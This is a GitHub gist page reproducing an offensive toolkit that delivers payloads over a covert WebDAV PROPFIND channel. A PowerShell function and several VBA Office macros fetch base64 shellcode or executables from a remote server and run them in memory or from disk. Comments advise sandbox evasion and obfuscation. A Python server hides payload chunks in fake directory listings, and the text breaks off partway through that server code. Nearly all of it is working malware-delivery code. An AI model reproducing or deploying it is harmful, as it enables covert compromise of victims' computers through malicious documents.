Created
September 8, 2017 02:25
-
-
Save carnal0wnage/fdad2a9b42d9c8cf4fdbb24f36abee5d to your computer and use it in GitHub Desktop.
Payload delivery using WebDAV PROPFIND only covert channel
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-WebDavDelivery | |
{ | |
<# | |
.SYNOPSIS | |
Receive a shellcode over WebDav PROPFIND channel, then load it into memory and execute it. | |
This script requires its server side counterpart (webdavdelivery.py) to communicate with and actually deliver the payload data. | |
Function: Invoke-WebDavDelivery | |
Author: Arno0x0x, Twitter: @Arno0x0x | |
.EXAMPLE | |
PS C:\> Invoke-WebDavDelivery -ServerName myserverexample.com | |
#> | |
[CmdletBinding(DefaultParameterSetName="main")] | |
Param ( | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String]$ServerName = $( Read-Host "Enter server name: " ) | |
) | |
Write-Verbose "Contacting server [$ServerName]" | |
#------------------------------------------------------------------------------------------------------ | |
# Download the base64 encoded payload | |
$EncodedPayload = (cmd /c "pushd \\$ServerName & dir /b /a-d & popd" | Out-String) -replace "`n|`r" -replace "_","/" | |
#------------------------------------------------------------------------------------------------------ | |
# Convert base64 data received back to byte array | |
$Data = [System.Convert]::FromBase64String($EncodedPayload.ToString()) | |
#------------------------------------------------------------------------------------------------------ | |
# Invoke the shellcode | |
Write-Verbose "Invoking shellcode" | |
function Get-NativeMethodHandle { | |
Param ($DLLName, $MethodName) | |
$SystemAssembly = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') | |
return $SystemAssembly.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($SystemAssembly.GetMethod('GetModuleHandle')).Invoke($null, @($DLLName)))), $MethodName)) | |
} | |
function Get-DelegateType { | |
Param ( | |
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters, | |
[Parameter(Position = 1)] [Type] $ReturnType = [Void] | |
) | |
$TypeBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | |
$TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters).SetImplementationFlags('Runtime, Managed') | |
$TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters).SetImplementationFlags('Runtime, Managed') | |
return $TypeBuilder.CreateType() | |
} | |
$FuncAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-NativeMethodHandle kernel32.dll VirtualAlloc), (Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $Data.Length,0x3000, 0x40) | |
[System.Runtime.InteropServices.Marshal]::Copy($Data, 0, $FuncAddr, $Data.length) | |
$ThreadHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-NativeMethodHandle kernel32.dll CreateThread), (Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$FuncAddr,[IntPtr]::Zero,0,[IntPtr]::Zero) | |
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-NativeMethodHandle kernel32.dll WaitForSingleObject), (Get-DelegateType @([IntPtr], [Int32]))).Invoke($ThreadHandle,0xffffffff) | Out-Null | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'------------------------------------------------------------------------------- | |
' Call this subroutine | |
'------------------------------------------------------------------------------- | |
Sub Go() | |
Dim cmd As String, srv As String | |
Dim res As Integer | |
'-------------------------------------------------------------- | |
' Put here some sanbdox evasion tricks, for example: | |
' - check for printers | |
' - check for last opened documents | |
' - make it specific and targeted | |
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs | |
'-------------------------------------------------------------- | |
'-------------------------------------------------------------- | |
' Obfuscate the following block with any combination of simple obfuscation tricks: | |
' - split and reverse string | |
' - use of the chr() function | |
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator | |
'-------------------------------------------------------------- | |
srv = "<==== ANY STANDARD WEBDAV SERVER IP OR FQDN ====>" | |
' Call the WebDav server and list files, place the result in a temporary file | |
cmd = "cmd /c pushd \\" & srv & " & for /f ""usebackq tokens=*"" %a in (`type cmd-psh.txt`) do powershell -e %a & popd" | |
res = Shell(cmd, vbHide) | |
End Sub |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#If VBA7 Then | |
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr | |
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr | |
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr | |
#Else | |
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long | |
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long | |
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long | |
#End If | |
Private InitDone As Boolean | |
Private Map1(0 To 63) As Byte | |
Private Map2(0 To 127) As Byte | |
'------------------------------------------------------------------------------- | |
' Call this subroutine | |
'------------------------------------------------------------------------------- | |
Sub Go() | |
Dim srv As String, cmd As String, result As String | |
Dim oExec As Integer | |
'-------------------------------------------------------------- | |
' Put here some sanbdox evasion tricks, for example: | |
' - check for printers | |
' - check for last opened documents | |
' - make it specific and targeted | |
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs | |
'-------------------------------------------------------------- | |
'-------------------------------------------------------------- | |
' Obfuscate the following block with any combination of simple obfuscation tricks: | |
' - split and reverse string | |
' - use of the chr() function | |
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator | |
'-------------------------------------------------------------- | |
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>" | |
' Call the WebDav server and list files, place the result in the clipboard | |
cmd = "cmd /c ""pushd \\" & srv & " & dir /b /a-d | clip.exe & popd""" | |
oExec = CreateObject("WScript.Shell").Run(cmd, 0, True) | |
' Read the result from the clipboard and sanitize the result | |
result = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") | |
result = Replace(result, vbCrLf, "") | |
result = Replace(result, "_", "/") | |
'MsgBox result | |
' Decode the base64 encoded content | |
Dim bytes() As Byte | |
bytes = Base64Decode(result) | |
' Load shellcode into memory | |
Dim oneByte As Long, offset As Long | |
#If VBA7 Then | |
Dim memoryBase As LongPtr, res As LongPtr | |
#Else | |
Dim memoryBase As Long, res As Long | |
#End If | |
memoryBase = VirtualAlloc(0, UBound(bytes), &H1000, &H40) | |
For offset = LBound(bytes) To UBound(bytes) | |
oneByte = bytes(offset) | |
res = RtlMoveMemory(memoryBase + offset, oneByte, 1) | |
Next offset | |
res = CreateThread(0, 0, memoryBase, 0, 0, 0) | |
End Sub | |
'----------------------------------------------------------------------------- | |
' Base64 helper functions | |
'----------------------------------------------------------------------------- | |
Public Function Base64DecodeString(ByVal s As String) As String | |
If s = "" Then Base64DecodeString = "": Exit Function | |
Base64DecodeString = ConvertBytesToString(Base64Decode(s)) | |
End Function | |
Public Function Base64Decode(ByVal s As String) As Byte() | |
If Not InitDone Then Init | |
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) | |
Dim ILen As Long: ILen = UBound(IBuf) + 1 | |
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4." | |
Do While ILen > 0 | |
If IBuf(ILen - 1) <> Asc("=") Then Exit Do | |
ILen = ILen - 1 | |
Loop | |
Dim OLen As Long: OLen = (ILen * 3) \ 4 | |
Dim Out() As Byte | |
ReDim Out(0 To OLen - 1) As Byte | |
Dim ip As Long | |
Dim op As Long | |
Do While ip < ILen | |
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 | |
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 | |
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") | |
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") | |
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ | |
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." | |
Dim b0 As Byte: b0 = Map2(i0) | |
Dim b1 As Byte: b1 = Map2(i1) | |
Dim b2 As Byte: b2 = Map2(i2) | |
Dim b3 As Byte: b3 = Map2(i3) | |
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ | |
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." | |
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) | |
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) | |
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 | |
Out(op) = o0: op = op + 1 | |
If op < OLen Then Out(op) = o1: op = op + 1 | |
If op < OLen Then Out(op) = o2: op = op + 1 | |
Loop | |
Base64Decode = Out | |
End Function | |
Private Sub Init() | |
Dim c As Integer, i As Integer | |
' set Map1 | |
i = 0 | |
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next | |
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next | |
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next | |
Map1(i) = Asc("+"): i = i + 1 | |
Map1(i) = Asc("/"): i = i + 1 | |
' set Map2 | |
For i = 0 To 127: Map2(i) = 255: Next | |
For i = 0 To 63: Map2(Map1(i)) = i: Next | |
InitDone = True | |
End Sub | |
Private Function ConvertStringToBytes(ByVal s As String) As Byte() | |
Dim b1() As Byte: b1 = s | |
Dim l As Long: l = (UBound(b1) + 1) \ 2 | |
If l = 0 Then ConvertStringToBytes = b1: Exit Function | |
Dim b2() As Byte | |
ReDim b2(0 To l - 1) As Byte | |
Dim p As Long | |
For p = 0 To l - 1 | |
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) | |
If c >= 256 Then c = Asc("?") | |
b2(p) = c | |
Next | |
ConvertStringToBytes = b2 | |
End Function | |
Private Function ConvertBytesToString(b() As Byte) As String | |
Dim l As Long: l = UBound(b) - LBound(b) + 1 | |
Dim b2() As Byte | |
ReDim b2(0 To (2 * l) - 1) As Byte | |
Dim p0 As Long: p0 = LBound(b) | |
Dim p As Long | |
For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next | |
Dim s As String: s = b2 | |
ConvertBytesToString = s | |
End Function | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#If VBA7 Then | |
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr | |
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr | |
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr | |
#Else | |
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long | |
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long | |
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long | |
#End If | |
Private InitDone As Boolean | |
Private Map1(0 To 63) As Byte | |
Private Map2(0 To 127) As Byte | |
'------------------------------------------------------------------------------- | |
' Call this subroutine | |
'------------------------------------------------------------------------------- | |
Sub Go() | |
Dim srv As String, tmp As String, result As String | |
Dim flag As Boolean | |
'-------------------------------------------------------------- | |
' Put here some sanbdox evasion tricks, for example: | |
' - check for printers | |
' - check for last opened documents | |
' - make it specific and targeted | |
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs | |
'-------------------------------------------------------------- | |
'-------------------------------------------------------------- | |
' Obfuscate the following block with any combination of simple obfuscation tricks: | |
' - split and reverse string | |
' - use of the chr() function | |
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator | |
'-------------------------------------------------------------- | |
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>" | |
' Call the WebDav server and list files - BEWARE: there must be a directory in the path, even if webdavdelivery.py doesn't care or use it | |
tmp = Dir("\\" & srv & "\shellcode\", vbNormal) | |
' Go through the list of files, concatenate them and sanitize the result | |
flag = True | |
While flag = True | |
If tmp = "" Then | |
flag = False | |
Else | |
result = result + tmp | |
tmp = Dir | |
End If | |
Wend | |
result = Replace(result, vbCrLf, "") | |
result = Replace(result, "_", "/") | |
'MsgBox result | |
' Decode the base64 encoded content | |
Dim bytes() As Byte | |
bytes = Base64Decode(result) | |
' Load shellcode into memory | |
Dim oneByte As Long, offset As Long | |
#If VBA7 Then | |
Dim memoryBase As LongPtr, res As LongPtr | |
#Else | |
Dim memoryBase As Long, res As Long | |
#End If | |
memoryBase = VirtualAlloc(0, UBound(bytes), &H1000, &H40) | |
For offset = LBound(bytes) To UBound(bytes) | |
oneByte = bytes(offset) | |
res = RtlMoveMemory(memoryBase + offset, oneByte, 1) | |
Next offset | |
res = CreateThread(0, 0, memoryBase, 0, 0, 0) | |
End Sub | |
'----------------------------------------------------------------------------- | |
' Base64 helper functions | |
'----------------------------------------------------------------------------- | |
Public Function Base64DecodeString(ByVal s As String) As String | |
If s = "" Then Base64DecodeString = "": Exit Function | |
Base64DecodeString = ConvertBytesToString(Base64Decode(s)) | |
End Function | |
Public Function Base64Decode(ByVal s As String) As Byte() | |
If Not InitDone Then Init | |
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) | |
Dim ILen As Long: ILen = UBound(IBuf) + 1 | |
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4." | |
Do While ILen > 0 | |
If IBuf(ILen - 1) <> Asc("=") Then Exit Do | |
ILen = ILen - 1 | |
Loop | |
Dim OLen As Long: OLen = (ILen * 3) \ 4 | |
Dim Out() As Byte | |
ReDim Out(0 To OLen - 1) As Byte | |
Dim ip As Long | |
Dim op As Long | |
Do While ip < ILen | |
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1 | |
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1 | |
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A") | |
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A") | |
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _ | |
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." | |
Dim b0 As Byte: b0 = Map2(i0) | |
Dim b1 As Byte: b1 = Map2(i1) | |
Dim b2 As Byte: b2 = Map2(i2) | |
Dim b3 As Byte: b3 = Map2(i3) | |
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _ | |
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data." | |
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10) | |
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4) | |
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3 | |
Out(op) = o0: op = op + 1 | |
If op < OLen Then Out(op) = o1: op = op + 1 | |
If op < OLen Then Out(op) = o2: op = op + 1 | |
Loop | |
Base64Decode = Out | |
End Function | |
Private Sub Init() | |
Dim c As Integer, i As Integer | |
' set Map1 | |
i = 0 | |
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next | |
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next | |
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next | |
Map1(i) = Asc("+"): i = i + 1 | |
Map1(i) = Asc("/"): i = i + 1 | |
' set Map2 | |
For i = 0 To 127: Map2(i) = 255: Next | |
For i = 0 To 63: Map2(Map1(i)) = i: Next | |
InitDone = True | |
End Sub | |
Private Function ConvertStringToBytes(ByVal s As String) As Byte() | |
Dim b1() As Byte: b1 = s | |
Dim l As Long: l = (UBound(b1) + 1) \ 2 | |
If l = 0 Then ConvertStringToBytes = b1: Exit Function | |
Dim b2() As Byte | |
ReDim b2(0 To l - 1) As Byte | |
Dim p As Long | |
For p = 0 To l - 1 | |
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) | |
If c >= 256 Then c = Asc("?") | |
b2(p) = c | |
Next | |
ConvertStringToBytes = b2 | |
End Function | |
Private Function ConvertBytesToString(b() As Byte) As String | |
Dim l As Long: l = UBound(b) - LBound(b) + 1 | |
Dim b2() As Byte | |
ReDim b2(0 To (2 * l) - 1) As Byte | |
Dim p0 As Long: p0 = LBound(b) | |
Dim p As Long | |
For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next | |
Dim s As String: s = b2 | |
ConvertBytesToString = s | |
End Function | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'------------------------------------------------------------------------------- | |
' Call this subroutine | |
'------------------------------------------------------------------------------- | |
Sub Go() | |
Dim srv As String, cmd As String, upfl As String, f2 As String | |
Dim res As Integer | |
'-------------------------------------------------------------- | |
' Put here some sanbdox evasion tricks, for example: | |
' - check for printers | |
' - check for last opened documents | |
' - make it specific and targeted | |
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs | |
'-------------------------------------------------------------- | |
'-------------------------------------------------------------- | |
' Obfuscate the following block with any combination of simple obfuscation tricks: | |
' - split and reverse string | |
' - use of the chr() function | |
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator | |
'-------------------------------------------------------------- | |
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>" | |
upfl = Environ("UserProfile") | |
f2 = upfl + "\agent.exe" | |
' Call the WebDav server and list files, place the result in a temporary file | |
cmd = "powershell -exec bypass -c ""& {Set-Content -Path " + f2 + " -Value ([Convert]::FromBase64String(((cmd /c 'pushd \\" & srv & "\agent & dir /b /a-d & popd') -replace '`n|`r' -replace '_','/'))) -Encoding Byte}""" | |
res = CreateObject("WScript.Shell").Run(cmd, 0, True) | |
res = Shell(f2 + " " + srv, vbHide) | |
End Sub |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'------------------------------------------------------------------------------- | |
' Call this subroutine | |
'------------------------------------------------------------------------------- | |
Sub Go() | |
Dim srv As String, cmd As String, upfl As String, f1 As String, f2 As String | |
Dim res As Integer | |
'-------------------------------------------------------------- | |
' Put here some sanbdox evasion tricks, for example: | |
' - check for printers | |
' - check for last opened documents | |
' - make it specific and targeted | |
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs | |
'-------------------------------------------------------------- | |
'-------------------------------------------------------------- | |
' Obfuscate the following block with any combination of simple obfuscation tricks: | |
' - split and reverse string | |
' - use of the chr() function | |
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator | |
'-------------------------------------------------------------- | |
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>" | |
upfl = Environ("UserProfile") | |
f1 = upfl + "\tmp.b64" | |
f2 = upfl + "\tmp.exe" | |
' Call the WebDav server, list files, remove line break and replace bad characters place the result in a temporary file | |
cmd = "cmd /v:on /c ""del " & f1 & "&for /f %f in ('pushd \\" & srv & " ^& dir /b /a-d ^& popd') do set s=%f&set m=!s:_=/!&echo|set /p=""!m!"" >> " & f1 & """" | |
res = CreateObject("WScript.Shell").Run(cmd, 0, True) | |
' Decode the base64 payload | |
cmd = "certutil.exe /decode " & f1 & " " & f2 | |
res = CreateObject("WScript.Shell").Run(cmd, 0, True) | |
' Eventually, call the payload | |
res = Shell(f2, vbHide) | |
End Sub |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf8 -*- | |
import argparse | |
import socket | |
from datetime import datetime | |
from base64 import b64encode | |
#====================================================================================================== | |
# HELPERS FUNCTIONS | |
#====================================================================================================== | |
#------------------------------------------------------------------------ | |
def chunks(s, n): | |
""" | |
Author: HarmJ0y, borrowed from Empire | |
Generator to split a string s into chunks of size n. | |
""" | |
for i in xrange(0, len(s), n): | |
yield s[i:i+n] | |
#------------------------------------------------------------------------ | |
def color(string, color=None): | |
""" | |
Author: HarmJ0y, borrowed from Empire | |
Change text color for the Linux terminal. | |
""" | |
attr = [] | |
if color: | |
if color.lower() == "red": | |
attr.append('31') | |
elif color.lower() == "green": | |
attr.append('32') | |
elif color.lower() == "blue": | |
attr.append('34') | |
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) | |
else: | |
# bold | |
attr.append('1') | |
if string.strip().startswith("[!]"): | |
attr.append('31') | |
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) | |
elif string.strip().startswith("[+]"): | |
attr.append('32') | |
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) | |
elif string.strip().startswith("[?]"): | |
attr.append('33') | |
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) | |
elif string.strip().startswith("[*]"): | |
attr.append('34') | |
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) | |
else: | |
return string | |
#------------------------------------------------------------------------ | |
def httpdate(dt): | |
"""Return a string representation of a date according to RFC 1123 | |
(HTTP/1.1). | |
The supplied date must be in UTC. | |
""" | |
weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][dt.weekday()] | |
month = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", | |
"Oct", "Nov", "Dec"][dt.month - 1] | |
return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (weekday, dt.day, month, dt.year, dt.hour, dt.minute, dt.second) | |
#------------------------------------------------------------------------ | |
def webdavdate(dt): | |
return "%02d-%02d-%02dT%02d:%02d:%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second) | |
#------------------------------------------------------------------------ | |
def powershellEncode(data): | |
""" | |
Author: HarmJ0y, borrowed from Empire | |
Encode a PowerShell command into a form usable by powershell.exe -enc ... | |
""" | |
return b64encode("".join([char + "\x00" for char in unicode(data)])) | |
#====================================================================================================== | |
# MAIN FUNCTION | |
#====================================================================================================== | |
if __name__ == '__main__': | |
#------------------------------------------------------------------------ | |
# Parse arguments | |
parser = argparse.ArgumentParser() | |
parser.add_argument("type", help="Type of base64 encoding to be used", choices=['powershell', 'standard']) | |
parser.add_argument("filename", help="Name of the file to be delivered over WebDav") | |
args = parser.parse_args() | |
#------------------------------------------------------------------------ | |
# Open file and read all bytes from it | |
try: | |
with open(args.filename) as fileHandle: | |
fileBytes = bytearray(fileHandle.read()) | |
fileHandle.close() | |
print color("[*] File [{}] successfully loaded".format(args.filename)) | |
except IOError: | |
print color("[!] Could not open or read file [{}]".format(args.filename)) | |
quit() | |
#------------------------------------------------------------------------ | |
# Split a base64 encoded file representation to 250 chars long chunks of strings | |
if args.type == 'powershell': | |
encodedBytes = powershellEncode(fileBytes) | |
else: | |
encodedBytes = b64encode(fileBytes) | |
# Check if the encoded bytes contains special characters not suited for a 'Windows' filename | |
if (encodedBytes.find('/') != -1): | |
print color("[!] Encoded bytes contains special character '/'") | |
print color("[!] Replacing all special characters with '_'") | |
encodedBytes = encodedBytes.replace('/','_') | |
print encodedBytes | |
chunks = list(chunks(encodedBytes, 250)) | |
print color("[*] Data split into [{}] chunks of 250 bytes".format(len(chunks))) | |
#------------------------------------------------------------------------ | |
# Setup a TCP server listening on port 80 | |
tcps = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
tcps.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
tcps.bind(('',80)) | |
tcps.listen(1) | |
print color("[*] WebDav server listening on port 80") | |
print color("[*] Serving [{}] encoded as a {} base64 type".format(args.filename,args.type)) | |
#------------------------------------------------------------------------ | |
# Main server loop | |
try: | |
while True: | |
connection, clientAddr = tcps.accept() | |
try: | |
print color("[+] Connection received from [{}]".format(clientAddr)) | |
# Receiving request - max size 1024 bytes - should fit any supported WebDav request | |
data = connection.recv(1024) | |
print color("[+] Data received:") | |
print color ("{}".format(data),'green') | |
#------------------------------------------------------------- | |
# Let's crack on with the most basic WebDav packet parser :-) | |
#-------------------------- OPTIONS -------------------------- | |
if data.startswith("OPTIONS"): | |
responseHeader = "HTTP/1.1 200 OK\r\n" | |
responseHeader += "Server: nginx/1.6.2\r\n" | |
responseHeader += "Date: {}\r\n".format(httpdate(datetime.now())) | |
responseHeader += "Content-Length: 0\r\n" | |
responseHeader += "DAV: 1\r\n" | |
responseHeader += "Allow: GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS\r\n" | |
responseHeader += "Proxy-Connection: Close\r\n" | |
responseHeader += "Connection: Close\r\n" | |
responseHeader += "Age: 0\r\n\r\n" | |
print color("[+] Sending response") | |
print color("{}".format(responseHeader),'green') | |
connection.send(responseHeader) | |
#-------------------------- PROPFIND -------------------------- | |
if data.startswith("PROPFIND"): | |
now = datetime.now().replace(microsecond=0) | |
# Find the 'Depth:' header | |
depthIndex = data.find("Depth:") | |
depth = data[depthIndex + 7] | |
# Prepare the response's body | |
body = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n" | |
body += "<D:multistatus xmlns:D=\"DAV:\">\r\n" | |
body += "<D:response>\r\n" | |
body += "<D:href>/</D:href>\r\n" | |
body += "<D:propstat>\r\n" | |
body += "<D:prop>\r\n" | |
body += "<D:creationdate>{}</D:creationdate>\r\n".format(webdavdate(now)) | |
body += "<D:displayname></D:displayname>\r\n" | |
body += "<D:getcontentlanguage/>\r\n" | |
body += "<D:getcontentlength>4096</D:getcontentlength>\r\n" | |
body += "<D:getcontenttype/>\r\n" | |
body += "<D:getetag/>\r\n" | |
body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(httpdate(now)) | |
body += "<D:lockdiscovery/>\r\n" | |
body += "<D:resourcetype><D:collection/></D:resourcetype>\r\n" | |
body += "<D:source/>\r\n" | |
body += "<D:supportedlock/>\r\n" | |
body += "</D:prop>\r\n" | |
body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n" | |
body += "</D:propstat>\r\n" | |
body += "</D:response>\r\n" | |
if (depth == '1'): | |
i = 0 | |
for chunk in chunks: | |
body += "<D:response>\r\n" | |
body += "<D:href>/{}</D:href>\r\n".format(chunk) | |
body += "<D:propstat>\r\n" | |
body += "<D:prop>\r\n" | |
body += "<D:creationdate>{}</D:creationdate>\r\n".format(webdavdate(now.replace(minute=i))) | |
body += "<D:displayname>{}</D:displayname>\r\n".format(chunk) | |
body += "<D:getcontentlanguage/>\r\n" | |
body += "<D:getcontentlength>0</D:getcontentlength>\r\n" | |
body += "<D:getcontenttype/>\r\n" | |
body += "<D:getetag/>\r\n" | |
body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(httpdate(now.replace(minute=i))) | |
body += "<D:lockdiscovery/>\r\n" | |
body += "<D:resourcetype/>\r\n" | |
body += "<D:source/>\r\n" | |
body += "<D:supportedlock/>\r\n" | |
body += "</D:prop>\r\n" | |
body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n" | |
body += "</D:propstat>\r\n" | |
body += "</D:response>\r\n" | |
i+=1 | |
body += "</D:multistatus>\r\n" | |
responseHeader = "HTTP/1.1 207 Multi-Status\r\n" | |
